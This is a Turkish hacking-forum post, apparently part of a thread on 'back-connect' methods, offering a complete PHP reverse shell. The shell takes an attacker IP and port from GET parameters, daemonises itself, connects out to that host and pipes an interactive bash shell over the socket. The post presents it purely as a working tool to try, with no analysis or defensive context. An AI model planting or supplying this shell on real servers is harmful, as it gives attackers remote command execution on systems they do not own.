Back-Connect Yolari (Re : MKT) [Part 3]

1-de bunu dene. GET[$IP] filan biliyosun zaten.
PHP Code :

Kod:

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"];
$port = $_GET["port"];
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = '/bin/bash -p -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();

        if ($pid == -1) {
               printit("ERROR: Can't fork");
               exit(1);
        }

        if ($pid) {
               exit(0);  // Parent exits
        }

        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
               printit("Error: Can't setsid()");
               exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
               printit("ERROR: Shell connection terminated");
               break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
               printit("ERROR: Shell process terminated");
               break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
               if ($debug) printit("SOCK READ");
               $input = fread($sock, $chunk_size);
               if ($debug) printit("SOCK: $input");
               fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
               if ($debug) printit("STDOUT READ");
               $input = fread($pipes[1], $chunk_size);
               if ($debug) printit("STDOUT: $input");
               fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
               if ($debug) printit("STDERR READ");
               $input = fread($pipes[2], $chunk_size);
               if ($debug) printit("STDERR: $input");
               fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
               print "$string\n";
        }
}
?>

Basarilar. )))))
&& Respec ! Peace! ^_^
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